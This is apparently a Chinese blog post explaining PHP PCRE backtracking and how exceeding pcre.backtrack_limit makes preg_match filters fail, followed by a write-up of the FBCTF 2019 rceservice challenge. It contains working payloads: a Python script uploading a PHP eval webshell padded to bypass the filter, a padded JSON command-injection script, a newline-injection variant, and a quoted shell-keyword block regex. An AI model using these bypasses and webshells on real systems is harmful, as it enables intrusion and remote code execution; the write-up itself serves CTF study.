PHP利用pcre回溯次数限制的绕过waf

参考p神博客:PHP利用PCRE回溯次数限制绕过某些安全限制 | 离别歌 (leavesongs.com)

参考p神的代码进行分析

1
2
3
4
5
6
7
8
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(!is_php($input)) {
fwrite($f, $input); ...
}

对输入内容进行判断,查看是否有被过滤的内容,如果没有则写入文件。

过滤内容大致是不允许写php代码

对此题如何绕过is_php()来写入进项php代码研究

对正则表达式的深入理解

常见的正则引擎分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机)

  • DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入

  • NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

NFA执行存在回溯,性能会比DFA差,但是NFA支持的功能更多。

PHP的PCRE库中就使用了NFA作为正则引擎,所以会存在回溯


回溯过程:

利用在线工具对正则回溯进行分析:嗨正则-正则表达式在线测试与调试工具

正则表达式为:

1
<\?.*[(`;?>].*

测试文本为:

1
<?php phpinfo();//aaaaa

点击正则执行步骤

我们可以看到最终匹配结果为

1
2
3
4
5
< 匹配 <
\? 匹配 ?
.* 匹配 php phpinfo()
[(`;?>] 匹配 ;
.* 匹配 //aaaaa

可以查看每一步匹配的字符

step1:

step2:

step3:

step4:

step5:

step6:

step7:

step8:

step9:

step10:

step11:

step12:

step13:

step14:

我们可以发现在step3的时候.*匹配了后面全部字符串,这显然不对

因为后面的 [(`;?>] 还没有匹配

所以在step5处开始回溯

依次吐出一个字符

直到 [(`;?>] 匹配到 ; 回溯结束

.*匹配剩下的字符串,匹配成功

显示红色的表示回溯,一共回溯了8次


对PHP的pcre.backtrack_limit限制利用

因为回溯会降低服务的性能,大量的回溯则会产生reDOS

所以php为了防止正则表达式的拒绝服务攻击(reDOS)

给pcre设定了回溯次数上限 pcre.backtrack_limit

可以通过 var_dump(ini_get(‘pcre.backtrack_limit’));

来查看当前环境对回溯次数的限制

参考英文版的PHP文档

默认回溯次数为100万,如果回溯次数超过100万那么preg_match会返回false

意思就是匹配失败,意味着我们就可以通过发超长字符串,使得正则匹配失败绕过PHP语言限制


POC

1
2
3
4
5
6
7
8
9
import requests
from io import BytesIO

files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

CTF实战:[FBCTF 2019]rceservice | NSSCTF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<html>
<body>
<h1>Web Adminstration Interface</h1>

<?php

// 将环境变量 'PATH' 设置为 '/home/rceservice/jail'
putenv('PATH=/home/rceservice/jail');

// 检查请求中是否存在 'cmd' 参数
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

// 检查 'cmd' 参数是否是字符串
if (!is_string($json)) {
echo '检测到黑客攻击<br/><br/>';
}
// 使用正则表达式匹配潜在的危险命令
elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo '检测到黑客攻击<br/><br/>';
}
else {
// 尝试运行命令
echo '尝试运行命令:<br/>';
// 将 JSON 字符串解码为 PHP 数组
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
// 使用 system() 函数执行命令
system($cmd);
} else {
echo '无效输入';
}
echo '<br/><br/>';
}
}

?>

<form>
Enter command as JSON:
<input name="cmd" />
</form>
</body>
</html>

可以看到过滤了很多东西

要求JSON命令来输入,就是键值对的方法


putenv('PATH=/home/rceservice/jail');

将环境变量PATH设置为/home/rceservice/jail

这意味着任何命令的执行都将仅限于此路径下的可执行文件。

在这种情况下,除非/home/rceservice/jail目录中存在cat命令,否则默认路径下的cat命令将不可用。

通常情况下,cat命令在系统的/bin目录中,这意味着你需要指定完整路径/bin/cat才能执行cat命令。


推测flag在/home/rceservice/目录下

可以用脚本验证

直接拿脚本跑

1
2
3
4
5
6
 import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}'
res = requests.post("http://node4.anna.nssctf.cn:28528/", data={"cmd":payload})
#print(payload)
print(res.text)


其他解法:

当看到正则中存在^xxx$格式也会用%0a:%0a绕过

1
payload:?cmd={%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}


PHP利用pcre回溯次数限制的绕过waf
http://example.com/2024/07/19/PHP利用prce回溯次数限制的绕过/
作者
piiick
发布于
2024年7月19日
许可协议